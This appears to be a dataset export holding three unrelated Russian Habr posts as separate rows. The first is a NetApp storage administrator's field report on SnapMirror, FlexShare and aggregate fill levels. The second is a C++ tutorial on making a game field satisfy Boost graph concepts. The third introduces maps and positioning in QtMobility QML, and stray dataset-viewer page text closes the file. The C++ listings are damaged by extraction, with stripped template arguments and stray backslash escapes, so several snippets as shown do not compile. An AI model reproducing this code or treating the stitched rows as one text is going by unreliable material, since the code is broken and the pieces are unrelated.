Так уж получилось, что я занимаюсь системами хранения данных последние 5 лет, 4 года из которых я посвятил системам среднего уровня компании EMC, чему и был в общем-то рад. О EMC я, возможно, посвящу отдельный пост, а данный будет посвящен системам хранения NetApp, с которыми приходится иметь дело последний год в довольно сложных конфигурациях. Взгляд со стороны покупателя, пользователя, администратора, без особых технических подробностей и красивых картинок.
Кому интересно — добро пожаловать под кат.
###### Как всё началось
А началось всё с того, что решили построить второй, удаленный дата-центр. Так как ресурсы старой СХД подошли к концу, а строить ДЦ в любом случае надо с нуля, решили закупить нечто, что способно выдержать нагрузку порядка 1000 виртуальных машин и порядка 20 продуктовых баз данных Oracle + куча разработки. Ну и соответственно, раз удаленный ДЦ, значит репликация и отказоустойчивость на уровне всего дата-центра. Не буду подробно останавливаться на всех аспектах выбора, но скажу, что в претендентах были Hitachi, EMC и NetApp. Выбрали NetApp, т.к. после тестов нам понравилось как работает Oracle по NFS и отсутствием FC SAN как класса, можно использовать существующую 10gb сеть. На том и остановились.
###### Какие ставились задачи
1. Удаленные площадки в режиме active-active (в смысле часть баз там, часть там, не RAC)
2. Потеря данных Oracle в случае краха одной из сторон — 0 секунд
3. Время переключения базы на другую сторону — до 5 минут с помощью кластерного ПО (Veritas)
4. Постоянная доступность виртуальных машин Vmware
###### Что в итоге получилось
А получилось 2 системы [FAS6280](http://www.netapp.com/ru/products/storage-systems/fas6200/fas6200-tech-specs-more.aspx), 2 контроллера в каждой, на двух площадках под базы данных, репликация SnapMirror + одна система [FAS3270](http://www.netapp.com/ru/products/storage-systems/fas3200/fas3200-product-compare.aspx) в конфигурации [MetroCluster](http://www.netapp.com/ru/products/protection-software/metrocluster.aspx) (SyncMirror) под виртуальные машины. Версия Ontap — 8.1.2 на всех системах. Везде — [FlexVol](http://www.netapp.com/ru/products/platform-os/flexvol.aspx) и [RaidDP](http://www.netapp.com/ru/products/platform-os/raid-dp.aspx).
Скажу сразу — с метрокластером на FAS3270 нет никаких проблем. Совсем. Абсолютно. Он работает и выполняет в точности те задачи, которые на него возлагались, тянет около 1000 виртуальных машин, поделенных пополам между площадками. Никаких проблем и подводных камней. Если контроллер уходит в ребут, виртуалки замирают на 15 секунд по вводу-выводу и продолжают работать как ни в чем не бывало. Обратное переключение, когда контроллер возвращается, занимает примерно столько-же времени. Этой системой я доволен на все 200%. Но, скажем честно, загрузка на нем пока еще около 50% по месту и около 25-30% по вводу-выводу дисков (около 4500 дисковых iops на 75 активных дисков/сторона). Как показывает практика, именно это и позволяет ему работать без проблем.
Совместно с NetApp была составлена спецификация на FAS6280, был проведен сайзинг, обсуждали все-все подводные камни, которые могут возникнуть в случае наших задач. Нас заверили, что всё будет работать так, как мы обсудили. А обсудили мы следующую картину:
* Каждая база данных содержит 3 раздела: data+index, archivelog, redo+undo.
* 20 баз данных поделенных на 4 контроллера, репликация между парой контроллеров.
* 2 раздела, data + arch — асинхронный snapmirror, раз в минуту. Раздел redo — синхронный snapmirror.
* Разработка размазана тонким слоем по всем 4 контроллерам.
На момент запуска утилизация по месту была порядка 40% на каждый контроллер, утилизация по дисковому воду-выводу — 20%. Из чего можно сделать вывод, что системы просто бездельничали.
Сейчас утилизация по месту около 85%, по дискам около 70% в среднем, в пиках 90%. Если в цифрах — 100% утилизации, это 32500 дисковых операций на контроллер. Дисковые операции != кол-ву iops на nfs.
###### Проблема первая — синхронный [SnapMirror](http://www.netapp.com/ru/products/protection-software/snapmirror.aspx)
Обещано — 30 сессий синхронной репликации на контроллер. Всё. Никаких подробностей, кроме того, что указано — синхронная репликация очень чувствительна к latency сети. Никаких подробностей о нагрузке, направлении.
По факту, синхронная репликация ломается даже при 2 сессиях **направленных в разные стороны** (то что это может оказаться ключом мы поняли спустя почти 2 месяца).
Выглядело это так:
```
[fas6280a_1:wafl.nvlog.sm.sync.abort:notice]: NVLOG synchronization aborted for snapmirror source VOL_prod_ru, reason='Out of NVLOG files'
[fas6280a_1:snapmirror.sync.fail:notice]: Synchronous SnapMirror from fas6280a_1:VOL_prod_ru to fas6280a_2:VOL_prod_ru failed.
```
Открывали кейс, консультировались напрямую с инженерами NetApp — вердикт всегда звучал один — у вас проблемы с сетью. Провели собственные изыскания на этот счет, потратили на это почти месяц — наш вердикт, сеть в порядке, латенси под нагрузкой около 0.5мс и не скачет. Решение подсказал один из технарей из глубин NetApp — он сказал, что в разные стороны работать и не должно, ибо что-то там связано с самим механизмом Consistency Point (CP), подробности мы так и не поняли, но стоило развернуть репликации в одну сторону — стало всё хорошо.
Так как это нас не устроило, докупили 4 полки дисков и увезли все Redo/Undo на FAS3270, на метрокластер, и забыли о проблемах синхронной репликации как класса. Правда скачкообразная нагрузка с виртуалок, высокая нагруженость процессоров и высокие требования по времени отклика для Redo не позволила нам остаться на этом решении, но это отдельная история.
###### Проблема вторая — асинхронный SnapMirror
Тут всё проще — если мы ставим синхронизацию раз в минуту, получаем никогда не заканчивающуюся сессию, потому как данные не успевают переливаться за отведенное время, слишком долго считаются изменения. Остановились на 5 минутном расписании, сдвинутом на 1 минуту для каждого раздела. Когда нагрузка выросла до 80% утилизации дисков, имеем лаг синхронизации для самых тяжелых баз порядка 15-20 минут постоянно, в моменты пиковой нагрузки (бэкап например, диски 90-95% утилизации), лаг увеличивается до бесконечности. Из чего следует, что никакого переключения за 5 минут быть не может, ибо только докатывание изменений в лучшем случае 20 минут + обратная ресинхронизация после разворота репликации, которая на больших разделах идет очень долго, те же 20 минут в лучшем случае.
###### Проблема третья — QOS, или в терминологии NetApp — [FlexShare](http://www.netapp.com/ru/products/platform-os/flexshare.aspx)
Система управляет планировщиком, работает на уровне томов (volume), позволяет задать приоритеты от 1 до 99 для каждого тома относительно других томов плюс относительно системных процессов. Описание шикарное, казалось-бы всё просто как 2х2. По факту:
* Нельзя ограничить верхнюю планку для тома, ну если вдруг какое-то приложение сломалось и начало очень сильно мучать ввод-вывод, пострадают все.
* Не важно, какой приоритет выставлен, скажем для прода 99, для разработки — 1, нагрузка разработки все равно будет влиять на прод. Но да, время отклика раздела разработки будет немного хуже, если нагрузка постоянна.
* Если нагрузка разработки не постоянная, а скачкообразная — приоритет вообще не работает. Ему нужно время на адаптацию.
* Приоритет не ускоряет выполнение SnapMirror, как бы высоко не задирали system.
* Приоритет поднимает общий латенси по системе, но не сильно. Заметно только при очень высокой нагрузке.
* При очень высокой нагрузке контроллера, невозможно выполнить большинство команд, результат приходит через 3-5 минут после запуска команды на выполнение, например даже нельзя посмотреть состояние репликации, а это блокирует работу кластерного ПО.
Именно из за последнего приоритет выключен на наших системах. Открывали кейс по этому вопросу — результата нет никакого.
###### Проблема четвертая — свободное место на агрегате *(набор из нескольких raid-групп объединенных в одно пространство)*.
Кто сталкивался с NetApp прошлых лет, наверняка знают, что если заполнить агрегат более чем на 90% данными, то система становится крайне ленивой и не желает работать. Маркетологи упорно утверждают, что данная проблема была полностью устранена начиная с версии 8.1 (а может даже 8.0, я не помню точно, если честно). По факту — полнейшая ложь. Не уследили мы за местом, заполнили агрегат аж на 93% — всё, привет. Время отклика системы в целом увеличилось почти в 2 раза. И это при условии, что мы не используем дедупликации, компресии и прочие вкусности, только тонкие тома (thin provisioning). Систему отпустило только при освобождении места до 85%. Точка.
Более того, попробуйте заполнить агрегат на 85-95%, создайте десяток сессий snapmirror в разные стороны, нагрузите систему вводом-выводом процентов на 80, а потом удалите раздел, размером в 1/5 объема агрегата. Результат — больше часа неработоспособных баз данных из за того, что система ушла в себя, время отклика по всем разделам составляло от 300мс до 5с. На консоль не реагировала, была даже мысль перезагрузить контроллер, но сначала начали экстренно снимать всю нагрузку с него, убили репликацию на стороне-приёмнике, и через какое-то время система начала приходить в себя. Рекомендация NetApp — убивайте файлики по одному, не надо сразу 12тб удалять через vol destroy.
###### Проблема пятая — 2 агрегата
А вот шутка в том, что если у вас на 100% загружены диски на одном агрегате, то второй агрегат с загрузкой в 10% откажется работать, и латенси там будет сравнимо с агрегатом у которого 100%. А связано это напрямую с тем, как в NetApp записываются данные.
Дело в том, что в отличии от классических блочных систем хранения, которые умеют прогонять данные напрямую на диски (write-through), если размер блока более определенного значения (обычно 16кб или 32кб, но можно настроить), NetApp никогда так не делает и по сути всегда пишет write-back из за особенностей работы [WAFL](http://blog.aboutnetapp.ru/archives/19). Именно этим обусловлено большое кол-во памяти на контроллерах, даже младших моделей. И именно этим обусловлена супер-низкая latency на запись, которой так гордятся NetApp, если система не сильно нагружена. Кэш един для всех агрегатов, он переполняется, становится невозможно писать даже в не нагруженный агрегат.
Вывод — не стоит перегружать диски более чем на 60% если хочется стабильного низкого latency на системе. Ну и не имеет смысла делать отдельный агрегат, если у вас одинаковые диски.
###### Небольшие выводы
* Если есть задача построить DR-решение до 50км, берите MetroCluster и даже не думайте. Разница в цене смешная, совершенно прозрачно для хостов. Из минусов — крайне желательна отдельная темная оптика между ДЦ. Но по факту работает и при делении ресурсов, проверено. Можно вписать в существующий SAN, но я вам этого не говорил.
* Если есть задача получить низкий latency — не допускайте загрузки дисков более 50-60% (90-110 iops на SAS-диск 3.5").
* Старайтесь избегать скачкообразной нагрузки, чем нагрузка более линейна, тем легче NetApp её переваривает.
* Старайтесь избегать нагрузки разными блоками. WAFL это крайне сильно тревожит.
* Не допускайте более 85% загрузки данными агрегата.
* Готовьтесь менять железо по гарантии. Много. Часто. Но этим сейчас страдают все производители систем начального и среднего уровня.
Вот в общем-то наверное и все мои наблюдения за год общения с данными системами. Системы на самом деле очень не плохие, очень легки в изучении. Всем приятного администрирования. | https://habr.com/ru/post/212453/ | null | ru | null |
# Маскируем класс под граф Boost. Часть 2: Завершаем реализацию поддержки концепций
[Пролог: Концепции Boost](http://habrahabr.ru/post/210838/)
[Часть 1: Подключение ассоциированных типов без вмешательства в интерфейс исходного класса](http://habrahabr.ru/post/211558/)
Кратко напомню задачу. Есть двумерное игровое поле из клеток, часть из которых свободна, а часть занята. Требуется найти путь по свободным клеткам из одной позиции поля в другую. Алгоритм поиска пути реализован в Boost. Но он требует, чтобы наше поле подходило под определение графа. Точнее класс должен удовлетворять двум концепциям — **boost::VertexListGraph** и **boost:: IncidenceGraph**. При этом интерфейс игрового поля менять не хочется — для всего остального проекта это не граф и графом никогда не станет.
В прошлой части было рассмотрено подключение внешних ассоциированных типов, необходимых для интерпретации класса как boost-графа. Конечно, одних типов недостаточно. Также требуется реализовать несколько функций с заданной сигнатурой и итераторов, с помощью которых библиотека сможет манипулировать игровым полем как графом.
Начнем с функции **num\_vertices**, которая, как можно догадаться из названия, должна возвращать количество вершин графа. Для нашего случая это длинна игрового поля умноженная на ширину. Тип **VerticesSizeType** определен в [первой части статьи](http://habrahabr.ru/post/211558/) (на самом деле это int).
```
VerticesSizeType num_vertices(const GameField& graph)
{
return graph.getWidth() * graph.getHeight();
}
```
Теперь можно перейти к реализации первого итератора. Он будет отвечать за перебор всех вершин графа. Ранее мы условились, что вершины будем обозначать целыми числами от нуля до **num\_vertices**. Чтобы избежать написания итератора с нуля, воспользуемся вспомогательным классом **boost::forward\_iterator\_helper**. Он позволяет получить полноценный итератор, определив лишь несколько базовых операторов: инкремента (++), сравнения (==) и разыменования (\*). Кроме того, алгоритм поиска требует, чтобы для итератора существовал конструктор по умолчанию. Естественно в таком виде использование объекта невозможно — перед применением библиотека присвоит итератору корректное значение.
Для начала посмотрим на интерфейс класса
```
class VertexIteratorImpl : public boost::forward_iterator_helper
{
public:
VertexIteratorImpl();
VertexIteratorImpl(const GameField& field, int index);
void operator++ ();
bool operator== (const VertexIteratorImpl& anotherIterator) const;
Vertex operator\*() const;
private:
bool isValid();
int mIndex;
const GameField\* mField;
};
```
Итератор хранит номер текущей вершины и указатель на игровое поле. Явный конструктор по умолчанию просто должен быть — «рабочего» объекта он не создает:
```
VertexIteratorImpl::VertexIteratorImpl()
: mField(NULL)
, mIndex(0)
{
}
```
Второй конструктор позволяет создать полнофункциональный объект
```
VertexIteratorImpl::VertexIteratorImpl(const GameField& field, int index)
: mField(&field)
, mIndex(index)
{
}
```
**isValid** — вспомогательная функция, которая проверяет, находится ли итератор в корректном состоянии (игровое поле задано, индекс имеет допустимое значение)
```
bool VertexIteratorImpl::isValid()
{
return (mField != NULL) && (mIndex < num_vertices(*mField)) && (mIndex >=0);
}
```
Учитывая, что вершина — это число, реализация операторов предельно проста, и сводится к работе с полем mIndex. Вот проверка на равенство
```
bool VertexIteratorImpl::operator== (const VertexIteratorImpl& anotherIterator) const
{
return mIndex == anotherIterator.mIndex;
}
```
Так осуществляется приращение итератора — нужно только проверить, не превысил ли индекс число вершин графа
```
void VertexIteratorImpl::operator++ ()
{
if (isValid()) {
++mIndex;
}
}
```
Разыменование сводится к возврату номера вершины
```
Vertex VertexIteratorImpl::operator*() const
{
return mIndex;
}
```
После этого появляется возможность создать еще одну функцию, требуемую концепциями графов — **vertices**. Возвращать она должна два итератора вершин — начальный и следующий за последним (аналог **end()** в стандартных коллекциях).
```
std::pair vertices(const GameField& graph)
{
return std::make\_pair(VertexIterator(graph, 0), VertexIterator(graph, num\_vertices(graph)));
}
```
Тип VertexIterator определен в [первой части статьи](http://habrahabr.ru/post/211558/) (это псевдоним VertexIteratorImpl). Теперь зададим ребра. Для начала нужно определить пару функций, которые, получив ребро, будут возвращать его начальную и конечную вершину.
```
Vertex source(Edge edge, const GameField &graph)
{
return edge.first;
}
Vertex target(Edge edge, const GameField &graph)
{
return edge.second;
}
```
Вторым параметром им должен передаваться граф, даже если для работы он не нужен (в нашем случае ребро — это пара вершин). Остается создать итератор исходящих из заданной вершины ребер. Он немного сложнее в реализации, но все равно достаточно примитивен. Алгоритм работы: проверить 8 вершин вокруг заданной, если они свободны, значит, ребра есть, если заняты, то пути в этом направлении не существует. Начнем с интерфейса
```
class OutEdgeIteratorImpl : public boost::forward_iterator_helper
{
public:
OutEdgeIteratorImpl(const GameField& field, Vertex cellPosition, int index = 0);
OutEdgeIteratorImpl();
Edge operator\*() const;
void operator++ ();
bool operator== (const OutEdgeIterator& other) const;
private:
Vertex getCurrentPosition() const;
Vertex getTargetPosition() const;
void updateShift();
bool isValid();
int mShift;
Vertex mCellPosition;
const GameField\* mField;
static const int sShiftsX[8];
static const int sShiftsY[8];
};
```
**sShiftsX** и **sShiftsY** — это массивы со смещениями по осям x и y для перебора соседних вершин.
```
const int OutEdgeIteratorImpl::sShiftsX[8] = {
-1, 0, 1,
-1, 1,
-1, 0, 1 };
const int OutEdgeIteratorImpl::sShiftsY[8] = {
1, 1, 1,
0, 0,
-1, -1, -1};
```
С конструкторами та же ситуация, которая была для итератора вершин — конструктор по умолчанию создает объект-пустышку (нужен для работы библиотеки), вторым конструктором будем пользоваться сами.
```
OutEdgeIteratorImpl::OutEdgeIteratorImpl()
: mField(NULL)
, mCellPosition(0)
, mShift(0)
{
}
OutEdgeIteratorImpl::OutEdgeIteratorImpl(const GameField& field, Vertex cellPosition, int index/* = 0*/)
: mField(&field)
, mCellPosition(cellPosition)
, mShift(index)
{
updateShift();
}
```
В отличие от обхода вершин, здесь не получится возвращать все ребра подряд — часть из них может не существовать. Поэтому оператор приращения будет содержать метод **updateShift**, задача которого — проверить допустимость текущего положения итератора и при необходимости «прокрутить» его дальше.
```
void OutEdgeIteratorImpl::operator++ ()
{
++mShift;
updateShift();
}
```
Проверка осуществляется с помощью метода игрового поля **GameField::canPass(int x, int y)**, если он вернет ложь (в заданную ячейку пути нет), будет проверяться следующая соседняя ячейка. Исходящих ребер может быть от нуля до восьми.
```
void OutEdgeIteratorImpl::updateShift()
{
if (isValid()) {
int x, y;
std::tie(x, y) = getCoordinates(mCellPosition, *mField);
int dx = sShiftsX[mShift];
int dy = sShiftsY[mShift];
if (!mField->canPass(x + dx, y + dy)) {
++mShift;
updateShift();
}
}
}
bool OutEdgeIteratorImpl::isValid()
{
return (mField != NULL) && (mShift < 8) && (mShift >=0);
}
```
Также итератор содержит два вспомогательных метода, возвращающих начальную вершину (которая была передана в конструктор) и исходящую (вычисляемую на основе смещения **mShift**).
```
Vertex OutEdgeIteratorImpl::getCurrentPosition() const
{
return mCellPosition;
}
Vertex OutEdgeIteratorImpl::getTargetPosition() const
{
return getCurrentPosition() + sShiftsX[mShift] + mField->getWidth() * sShiftsY[mShift];
}
```
Оператор разыменования возвращает эту пару вершин:
```
Edge OutEdgeIteratorImpl::operator*() const
{
return std::make_pair(getCurrentPosition(), getTargetPosition());
}
```
Сравнение итераторов ребер, как и для случая с вершинами, сводится к сравнению числовых индексов
```
bool OutEdgeIteratorImpl::operator== (const OutEdgeIteratorImpl& other) const
{
return mShift == other.mShift;
}
```
И остается последний шаг — определить функции перебора ребер, работающие на основе созданных итераторов. Так будет выглядеть функция перебора исходящих ребер для заданной вершины
```
std::pair out\_edges(Vertex v, const GameField& graph)
{
return std::make\_pair(OutEdgeIterator(graph, v, 0), OutEdgeIterator(graph, v, 8));
}
```
В качестве итератора окончания передается объекта с индексом 8, так как ребра с таким номером быть не может (допустимые значения от 0 до 7). Функция определения количества исходящих ребер также использует итератор **OutEdgeIterator** — она сосчитывает ребра перебором
```
DegreeSizeType out_degree(Vertex v, const GameField& graph)
{
DegreeSizeType result = 0;
std::pair edges = out\_edges(v, graph);
for (OutEdgeIterator i = edges.first; i != edges.second; ++i) {
++result;
}
return result;
}
```
Все. Теперь можно написать функции проверки концепций и насладиться результатом — наше игровое поле одновременно удовлетворяет требованиям к графам двух типов:
```
boost::function_requires >();
boost::function\_requires >();
```
На этом реализация концепций завершается. Для работы алгоритмов поиска пути потребуется еще несколько доработок — о них я расскажу в заключительной статье цикла. | https://habr.com/ru/post/212089/ | null | ru | null |
# Введение в разработку картографических и геолокационных мобильных приложений с применением QtMobility.location
Этот пост участвует в конкурсе „[Умные телефоны за умные посты](http://habrahabr.ru/company/Nokia/blog/132522/)“
Никогда ранее не приходилось участвовать в разработке картографических и геолокационных мобильных приложений, поэтому эта конкурсная тема мне стала интересна как в плане профессионального роста, так и в плане обычного человеческого любопытства. Я, естественно, подозревал, что **QtQuick** значительно облегчит мне задачу изучения сабжа, но он в очередной раз приятно удивил элегантной простотой решения задачи.
Речь пойдет о *QtMobility.location*. Кстати, изображенное на скриншоте приложение содержит менее страницы кода на QML и ни строчки на C++.
---
Начать, наверное, стоит по традиции с минимального «Hello, World!!!» приложения. Однако этот «Hello, World!!!» несколько отличается от привычного. Это уже не писк только что вылупившегося птенца в темной неприветливой консоли, а скорее его маленький победный крик при перелете в соседний двор. Выглядит оно так (скриншот этого приложения был приведен выше):
> `1. import QtQuick 1.1
> 2. import QtMobility.location 1.2
> 3.
> 4. Item {
> 5. id: page
> 6. anchors.fill: parent
> 7. focus: true
> 8.
> 9. TitleBar { id: titleBar; appname: "Hello World"; z: 5; width: parent.width; height: 40; opacity: 0.8 }
> 10.
> 11. Rectangle {
> 12. id: dataArea
> 13. anchors.top: titleBar.bottom
> 14. anchors.bottom: parent.bottom
> 15. width: parent.width
> 16. color: "#343434"
> 17. Map {
> 18. id: map
> 19. plugin: Plugin {
> 20. name : "nokia"
> 21. }
> 22. anchors.fill: parent
> 23. size.width: parent.width
> 24. size.height: parent.height
> 25. zoomLevel: 6
> 26. center: Coordinate {latitude: 55; longitude: 73.12}
> 27. mapType: Map.StreetMap
> 28. } // map
> 29. }
> 30. } // page`
Основной интересующий здесь нас элемент – это, конечно же, элемент **Map**. Расскажу о нем более подробно. Он отвечает за загрузку и отображение карты. Основная работа в этом элементе совершается плагином, описываемым элементом **Plugin**.
Свойство **center** – координаты центра отображаемой карты. Чтобы «перепрыгнуть» в новую локацию на карте — достаточно лишь поменять значения свойства center у элемента **Map**. Передвигаться по карте можно не только скачкообразно, но и плавно, используя функцию **map.pan(dx, dy)**. dx, dy – смещение влево\вправо и верх\вниз относительно предыдущей позиции.
**zoomLevel** отвечает за масштаб карты. Меняя значение этого свойства можно уменьшать\увеличивать масштаб. Минимальное и максимальное значения вычитываются из свойств **minimumZoomLevel** и **maximumZoomLevel**.
**mapType** — это тип карты. Доступны следующие виды:
*• Map.StreetMap
• Map.SatelliteMapDay
• Map.SatelliteMapNight
• Map.TerrainMap
• Map.HybridMap
• Map.TransitMap
• Map.GrayStreetMap
• Map.MobileStreetMap
• Map.MobileTerrainMap
• Map.MobileHybridMap
• Map.MobileTransitMap
• Map.MobileGrayStreetMap*
Для корректного отображения тип карты должен, конечно же, поддерживаться провайдером.
На скриншоте выше использован тип карты **Map.StreetMap**.
На скриншоте ниже — **Map.SatelliteMapDay**:
---
В качестве дочерних сущностей элемента **Map** на карту могут быть добавлены различные элементы, такие как **MapRectangle, MapCircle, MapText, MapImage, MapPolygon, MapPolyline** и т.п. Эти элементы будут отображаться автоматически в указанной позиции. Их очень удобно использовать для установки различных меток на карте, отображения маршрутов, областей и всего, чего только может понадобиться.
К примеру, вот так можно отобразить текст на карте в нужной нам позиции:
> `1. MapText {
> 2. id: texts
> 3. coordinate: Coordinate {latitude: 54.914; longitude: 73.313}
> 4. color: "yellow"
> 5. text: "Samarka"
> 6. font.pixelSize: 10
> 7. }`
Или, вот так — желтым кружочком можно пометить на карте текущие координаты пользователя:
> `1. MapCircle {
> 2. id: userPosition
> 3. color: "yellow"
> 4. radius: 10
> 5. center: userPositionSource.position.coordinate
> 6. }`
Но чтобы пометить координаты пользователя, нужно сначала их узнать. С QtMobility это тоже делается элементарно. И поможет нам в этом **QML PositionSource Element**. Через него вы можете получить информацию о таких вещах, как ваши текущие координаты, высота над уровнем моря и скорость.
Следующий кусок кода демонстрирует, что и как можно вытащить из этого элемента:
> `1. import Qt 4.7
> 2. import QtMobility.location 1.2
> 3. Rectangle {
> 4. id: page
> 5. width: 350
> 6. height: 350
> 7. PositionSource {
> 8. id: positionSource
> 9. updateInterval: 1000
> 10. active: true
> 11. // nmeaSource: "nmealog.txt"
> 12. }
> 13. Column {
> 14. Text {text: "<==== PositionSource ====>"}
> 15. Text {text: "positioningMethod: " + printableMethod(positionSource.positioningMethod)}
> 16. Text {text: "nmeaSource: " + positionSource.nmeaSource}
> 17. Text {text: "updateInterval: " + positionSource.updateInterval}
> 18. Text {text: "active: " + positionSource.active}
> 19. Text {text: "<==== Position ====>"}
> 20. Text {text: "latitude: " + positionSource.position.coordinate.latitude}
> 21. Text {text: "longitude: " + positionSource.position.coordinate.longitude}
> 22. Text {text: "altitude: " + positionSource.position.coordinate.altitude}
> 23. Text {text: "speed: " + positionSource.position.speed}
> 24. Text {text: "timestamp: " + positionSource.position.timestamp}
> 25. Text {text: "altitudeValid: " + positionSource.position.altitudeValid}
> 26. Text {text: "longitudeValid: " + positionSource.position.longitudeValid}
> 27. Text {text: "latitudeValid: " + positionSource.position.latitudeValid}
> 28. Text {text: "speedValid: " + positionSource.position.speedValid}
> 29. }
> 30. function printableMethod(method) {
> 31. if (method == PositionSource.SatellitePositioningMethod)
> 32. return "Satellite";
> 33. else if (method == PositionSource.NoPositioningMethod)
> 34. return "Not available"
> 35. else if (method == PositionSource.NonSatellitePositioningMethod)
> 36. return "Non-satellite"
> 37. else if (method == PositionSource.AllPositioningMethods)
> 38. return "All/multiple"
> 39. return "source error";
> 40. }
> 41. }`
---
Еще меня заинтересовало, как получить глобальные координаты какого-либо объекта, уже отображенного на экране. Оказалось — с QtMobility это делается так же очень просто. Функция **map.toCoordinate()** переводит экранные координаты объекта в глобальные. Коснулись объекта на экране – получили координаты:
> `1. onPressed: {
> 2. console.log('latitude = '+ (map.toCoordinate(Qt.point(mouse.x,mouse.y))).latitude);
> 3. console.log('longitude = '+ (map.toCoordinate(Qt.point(mouse.x,mouse.y))).longitude);
> 4. }`
---
В заключении хотелось бы вкратце упомянуть о знакомстве с [OVI Maps API](http://api.maps.ovi.com/apireference/index.html). Посредством OVI Maps API можно легко организовать в приложении поиск локации по ее названию и много-много всего остального. К примеру, на скриншоте ниже задаются точки “A” и ”B” и OVI Maps API выдает маршрут от одной к другой. Карты в нем управляются посредством JavaScript. А как известно — лучший друг QML – это JavaScript, который можно напрямую встраивать в код. Таким образом, связка QML – JavaScript — OVI Maps API мне показалась очень мощным инструментом для создания картографических и геолокационных мобильных приложений любой сложности. А QtQuick в очередной раз продемонстрировал всю свою мощь и грациозную простоту.
OVI Maps API Playground:
 | https://habr.com/ru/post/133447/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.